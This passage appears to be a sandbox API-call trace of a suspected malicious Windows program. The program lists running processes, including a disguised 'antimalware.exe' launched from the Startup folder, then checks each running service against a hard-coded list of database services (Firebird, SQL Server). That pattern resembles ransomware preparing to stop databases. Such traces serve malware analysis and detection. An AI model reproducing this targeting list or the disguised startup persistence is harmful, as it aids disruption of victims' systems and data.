	[0176.304] lstrlenW (lpString="svchost.exe") returned 11
	[0176.304] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.305] lstrlenW (lpString="svchost.exe") returned 11
	[0176.305] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.306] lstrlenW (lpString="svchost.exe") returned 11
	[0176.306] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.307] lstrlenW (lpString="svchost.exe") returned 11
	[0176.307] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0176.308] lstrlenW (lpString="spoolsv.exe") returned 11
	[0176.308] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.308] lstrlenW (lpString="svchost.exe") returned 11
	[0176.309] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0176.309] lstrlenW (lpString="audiodg.exe") returned 11
	[0176.310] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0176.311] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0176.311] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0176.312] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0176.312] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0176.313] lstrlenW (lpString="sihost.exe") returned 10
	[0176.313] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0176.314] lstrlenW (lpString="Memory Compression") returned 18
	[0176.314] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.315] lstrlenW (lpString="svchost.exe") returned 11
	[0176.315] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0176.315] lstrlenW (lpString="taskhostw.exe") returned 13
	[0176.316] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0176.316] lstrlenW (lpString="msoia.exe") returned 9
	[0176.316] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0176.317] lstrlenW (lpString="explorer.exe") returned 12
	[0176.317] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0176.318] lstrlenW (lpString="SearchUI.exe") returned 12
	[0176.318] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0176.319] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0176.319] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0176.320] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0176.320] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0176.321] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0176.321] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0176.322] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0176.322] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0176.323] lstrlenW (lpString="dllhost.exe") returned 11
	[0176.323] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0176.324] lstrlenW (lpString="dllhost.exe") returned 11
	[0176.324] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0176.325] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0176.325] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0
	[0176.326] CloseHandle (hObject=0x530) returned 1
	[0176.326] Sleep (dwMilliseconds=0x1f4) 
	[0177.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0458
	[0177.270] EnumServicesStatusExW (in: hSCManager=0x45b0458, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0177.270] GetLastError () returned 0xea
	[0177.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x38d1e28
	[0177.270] EnumServicesStatusExW (in: hSCManager=0x45b0458, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x38d1e28, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x38d1e28, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0177.272] CloseServiceHandle (hSCObject=0x45b0458) returned 1
	[0177.272] lstrlenW (lpString="Appinfo") returned 7
	[0177.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0177.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0177.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0177.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0177.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0177.272] lstrlenW (lpString="AppXSvc") returned 7
	[0177.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.272] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0177.272] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0177.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0177.272] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0177.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.272] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0177.272] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0177.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0177.273] lstrlenW (lpString="Audiosrv") returned 8
	[0177.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0177.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0177.273] lstrlenW (lpString="BFE") returned 3
	[0177.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0177.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0177.273] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0177.273] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0177.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0177.273] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0177.273] lstrlenW (lpString="CDPSvc") returned 6
	[0177.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0177.273] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0177.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0177.273] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0177.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.274] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0177.274] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0177.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0177.289] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0177.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.289] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0177.289] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0177.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0177.289] lstrlenW (lpString="CryptSvc") returned 8
	[0177.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.289] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0177.289] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0177.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0177.289] lstrlenW (lpString="DcomLaunch") returned 10
	[0177.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0177.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0177.290] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0177.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0177.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0177.290] lstrlenW (lpString="Dhcp") returned 4
	[0177.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0177.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0177.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0177.290] lstrlenW (lpString="Dnscache") returned 8
	[0177.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0177.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0177.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0177.290] lstrlenW (lpString="DPS") returned 3
	[0177.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0177.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0177.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0177.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0177.291] lstrlenW (lpString="DusmSvc") returned 7
	[0177.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0177.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0177.291] lstrlenW (lpString="EventLog") returned 8
	[0177.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0177.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0177.291] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0177.291] lstrlenW (lpString="EventSystem") returned 11
	[0177.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0177.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0177.291] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0177.291] lstrlenW (lpString="FontCache") returned 9
	[0177.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0177.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0177.291] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0177.291] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0177.291] lstrlenW (lpString="gpsvc") returned 5
	[0177.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0177.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0177.291] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0177.291] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0177.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0177.292] lstrlenW (lpString="iphlpsvc") returned 8
	[0177.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.292] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0177.292] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0177.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0177.292] lstrlenW (lpString="KeyIso") returned 6
	[0177.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0177.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0177.292] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0177.292] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0177.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0177.292] lstrlenW (lpString="LanmanServer") returned 12
	[0177.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.292] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0177.292] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0177.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0177.292] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0177.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.292] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0177.292] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0177.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0177.292] lstrlenW (lpString="lfsvc") returned 5
	[0177.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0177.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0177.292] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0177.292] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0177.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0177.292] lstrlenW (lpString="lmhosts") returned 7
	[0177.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0177.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0177.292] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0177.292] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0177.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0177.293] lstrlenW (lpString="LSM") returned 3
	[0177.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0177.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0177.293] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0177.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0177.293] lstrlenW (lpString="MpsSvc") returned 6
	[0177.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0177.293] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0177.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0177.293] lstrlenW (lpString="NcbService") returned 10
	[0177.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0177.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0177.293] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0177.293] lstrlenW (lpString="netprofm") returned 8
	[0177.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0177.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0177.293] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0177.293] lstrlenW (lpString="NgcSvc") returned 6
	[0177.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0177.293] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0177.293] lstrlenW (lpString="NlaSvc") returned 6
	[0177.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.293] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0177.294] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0177.294] lstrlenW (lpString="nsi") returned 3
	[0177.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0177.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0177.294] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0177.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0177.294] lstrlenW (lpString="PcaSvc") returned 6
	[0177.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
